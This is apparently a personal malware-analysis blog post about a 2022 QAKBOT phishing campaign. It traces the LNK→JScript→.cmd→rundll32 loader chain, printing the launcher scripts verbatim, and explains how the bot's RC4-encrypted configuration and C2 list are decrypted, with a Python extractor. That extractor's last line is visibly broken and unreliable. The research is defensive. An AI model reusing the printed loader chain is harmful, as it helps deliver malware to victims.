This is my first malware blog post, hope it will be useful to someone, I’ll not go deeper in the malware details because there are plenty of detailed reports related to QAKBOT. I’ll describe how the malware changed its resource decryption mechanism and report some IoCs.
On September 30, 2022 a friend of mine received a phishing email pretending to be sent by one of his customers, the email contained an URL, a password and a legit old message.
By visiting the URL https://lynxus[.]com/usq/refeidpisnretse with a user agent related to Windows, a working zip named Card654141047.zip is provided, if the user agent is not “ok” the server responses with a fake zip file that doesn’t work.
Using the provided password “U492”, it is possible to extract an ISO file from the zip. The ISO file contains a LNK file and a hidden folder with the following files:
The LNK file is a link to expeditionPresides.js, it contains the following JScript:
// observablyCleaned var undisruptedPuzzles = "rund DllRegis"; // ShellExecute var bridgeheadsLibels = new ActiveXObject("shell.application").shellexecute("assaulting\\redressingLamentations.cmd", undisruptedPuzzles, "", "open", 0);
it runs redressingLamentations.cmd by proving two parameters “rund DllRegis”. Following the content of redressingLamentations.cmd.
@echo off set a=ll set e=32 :: tankageLicentiously %1%a%%e% assaulting\tiddler.dat,%2terServer exit
It uses rundll32 in order to execute the DllRegisterServer export function from tiddler.dat, following some details of the DLL.
Tiddler.dat is the first stage DLL used to extract the unpacked version of the malware, by setting a breakpoint on NtAllocateVirtualMemory it’s easy to find the unpacked version, I’ll not describe how to get it.
After unpacking the DLL, we can analyse it, the details are in the image below.
After some analysis we can confirm that the malware is QAKBOT, the malware seems to be similar to the one reported by several blog post, anyway the BOT Configuration and the C2 IPs list are encrypted in a different way, so I’ll only describe how to decrypt it instead of write something already reported in a very clear way by several blog posts:
You can find all the decrypted strings and the scripts in my GitHub.
The file has two resources, one containing the encrypted Configuration and one containing the encrypted C2 IPs list.
The resources are encrypted in the same way, so let’s use the configuration resource as example.
Two “steps” of RC4 encryption are used, let’ see it on CyberChef in order to be clearer.
As shown in the image below, in the first step, the SHA1 Hash is calculated on the string, “Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd”, the SHA1 Hash result is “CA 6A E9 55 26 F0 BC EB 6B A5 39 0E B6 14 81 9A 9B 4A F9 4E”, this will be the RC4 key (the string used is different in each qakbot sample, for example in another sample I analyzed it was “bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN”, you have to figure out which string it uses).
Using the data we obtain from SHA1 as key, we can use the RC4 algorithm to decrypt the data. The output from the first RC4 decryption will contains the following data:
- From bytes 0 to 20: SHA1 Hash of New Key + Encrypted Configuration
- From bytes 20 to 40: New Key
- From bytes 40 to end: Encrypted Configuration
In the image below we can see that the SHA1 Hash of New Key + Encrypted Configuration matches the first 20 bytes we got from the decrypted data.
In the second step, the RC4 algorithm is used with the New Key to decrypt the Encrypted Configuration. The following images shows the result of the second step decryption.
The QAKBOT campaign ID is “BB” the timestamp 1664535088 corresponds to Fri Sep 30 2022 10:51:28 GMT+0000.
While writing this, a blog post by Trendmicro was published talking about this specific QAKBOT campaign.
To automatically extract the configuration and the C2 IPs, I wrote the following python script.
import hashlib from arc4 import ARC4 file = open("89210AF9.bin","rb") #Resource with Qakbot configuration resource = file.read() key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() #change with your password rc4 = ARC4(key) data = rc4.decrypt(resource) key = data[20:40] rc4 = ARC4(key) decrypted_data = rc4.decrypt(data[40:]) print("Qakbot Configuration:") print((decrypted_data[20:]).decode("utf-8")) file = open("3C91E639.bin","rb") #Resource with Qakbot C2 resource = file.read() key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() #change with your password rc4 = ARC4(key) data = rc4.decrypt(resource) key = data[20:40] rc4 = ARC4(key) #print(key) decrypted_data = rc4.decrypt(data[40:]) print("Qakbot C2:") for i in range(21,len(decrypted_data),7): c2 = bytearray(decrypted_data[i:i+7]) print("%d.%d.%d.%d:%d" % (c2,c2,c2,c2,(c2<<8)+c2))
Hope this first malware blog post can help someone during his analysis of QAKBOT, you can find the samples at the following urls: